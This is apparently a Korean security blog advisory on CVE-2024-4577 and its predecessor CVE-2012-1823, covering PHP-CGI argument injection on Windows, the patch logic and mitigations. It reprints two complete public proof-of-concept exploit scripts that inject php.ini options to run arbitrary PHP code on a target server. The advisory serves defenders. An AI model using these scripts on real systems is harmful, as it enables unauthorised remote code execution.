1. PHP-CGI (Common Gateway Interface)

- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스

- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP 인터프리터에 전달하여 실행 및 결과 전송

> 스크립트 실행을 위해 웹 서버의 cgi-bin 디렉토리를 생성하고, 디렉터리 내 .cgi 또는 .php로 저장해야 함

 

2. 취약점

[사진 1] CVE-2024-4577 [1]

- Window에 설치된 취약한 버전의 PHP-CGI에서 발생하는 Argument Injection 취약점

> 윈도우의 인코딩 변환 기능 중 Best-Fit 기능과 관련

> 특정 문자 시퀀스를 사용해 CVE-2012-1823에 대한 패치를 우회할 수 있음

영향받는 버전
- PHP-CGI 8.3.8 이전 버전
- PHP-CGI 8.2.20 이전 버전
- PHP-CGI 8.1.29 이전 버전

 

- 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용 [2]

> 소프트 하이폰을 이스케이프하지 못해 취약점이 발생

> 공개된 PoC 확인 시 0xAD를 포함한 POST 요청을 확인할 수 있음 [3]

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber) 
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target http://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')
[영상 1] CVE-2024-4577 시연 [4]

2.1 CVE-2012-1823

[사진 2] CVE-2012-1823 [5]

- 취약한 버전의 PHP에서 발생하는 원격 명령 실행 취약점

> PHP에서 PHP-CGI로 값을 전달할 때 값에 대한 적절한 검증이 없어 발생

영향받는 버전
- PHP 5.3.12 이전 버전
- PHP 5.4.2 이전 버전

 

- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생

> 1793줄 if(): CGI 사용 여부 확인

> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달

구분 옵션 설명
자주 사용되는
Exploit 옵션
-n php.ini 파일을 사용하지 않음
-s 소스코드를 하이라이트로 보여줌
-d php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음
> allow_url_fopen=1: 외부 URL로부터 파일 호출
> allow_url_include=1: 외부 파일 include 허용
> auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행
> auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를  실행
> auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행

 

[사진 3] PHP 5.4.1 sapi/cgi/cgi_main.c

 

[사진 3] bee-box 취약점

- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]

######################################################################################
# Exploit Title: Cve-2012-1823 PHP CGI Argument Injection Exploit
# Date: May 4, 2012
# Author: rayh4c[0x40]80sec[0x2e]com
# Exploit Discovered by wofeiwo[0x40]80sec[0x2e]com
######################################################################################

import socket
import sys

def cgi_exploit():
        pwn_code = """<?php phpinfo();?>""" 
        post_Length = len(pwn_code)
        http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s
""" %(HOST , post_Length ,pwn_code)
        print http_raw
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((HOST, int(PORT)))
            sock.send(http_raw)
            data = sock.recv(10000)
            print repr(data)
            sock.close()
        except socket.error, msg:
            sys.stderr.write("[ERROR] %s\n" % msg[1])
            sys.exit(1)
               
if __name__ == '__main__':
        try:
            HOST = sys.argv[1]
            PORT = sys.argv[2]
            cgi_exploit()
        except IndexError:
            print '[+]Usage: cgi_test.py site.com 80'
            sys.exit(-1)

 

- 취약점은 다음과 같이 패치됨

> 1815줄 if(): URL 디코딩 전 QUERY_STRING이 NULL이 아니고, "="를 포함하지 않는다면 URL 디코딩 후 변수 p에 할당

> 1823줄 if(): 변수 p가 "-"로 시작하는 경우 skip_getopt 변수를 1로 초기화

> 1829줄 while(): skip_getopt 변수가 1이므로 while()문을 실행하지 않아 PHP-CGI 옵션 실행 방지

[사진 4] PHP 5.4.3 sapi/cgi/cgi_main.c

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [7]

> PHP 8.0, 7, 5 계열은 지원 종료로 패치 없음

제품명 영향받는 버전 해결 버전
PHP-CGI 8.3.8 이전 버전 8.3.8
8.2.20 이전 버전 8.2.20
8.1.29 이전 버전 8.1.29

 

② 패치가 불가능한 경우 임시 조치 적용 [8]

> Mod-PHP, FastCGI, PHP-FPM과 같은 보다 안전한 아키텍처로 마이그레이션

> 재작성규칙(Rewrite Rules)을 구성: 전통 중국어, 간체 중국어, 일본어 윈도에서만 사용할 수 있는 방법

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

 

> 윈도용 XAMPP(XAMPP for Windows)를 사용하는 경우 "httpd-xampp.conf" 파일의 설정 변경

C:/xampp/apache/conf/extra/httpd-xampp.conf 파일
> ScriptAlias /php-cgi/ "C:/xampp/php/" 행을 찾아 주석 처리
> # ScriptAlias /php-cgi/ "C:/xampp/php/"

※ XAMPP 자체가 업데이트되지 않아 패치 적용 불가
※ 모든 버전의 윈도우용 XAMPP이 취약점에 노출되어 있으므로 XAMPP 또한 패치 대상

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-4577
[2] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[3] https://github.com/watchtowrlabs/CVE-2024-4577
[4] https://www.youtube.com/watch?v=8d5f0xzOdK4
[5] https://nvd.nist.gov/vuln/detail/CVE-2012-1823
[6] https://www.exploit-db.com/exploits/18836
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71457&menuNo=205020
[8] https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
[9] https://www.dailysecu.com/news/articleView.html?idxno=156643
[10] https://www.boannews.com/media/view.asp?idx=130470&page=1&kind=1
[11] https://www.boannews.com/media/view.asp?idx=130481&page=1&kind=1

+ Recent posts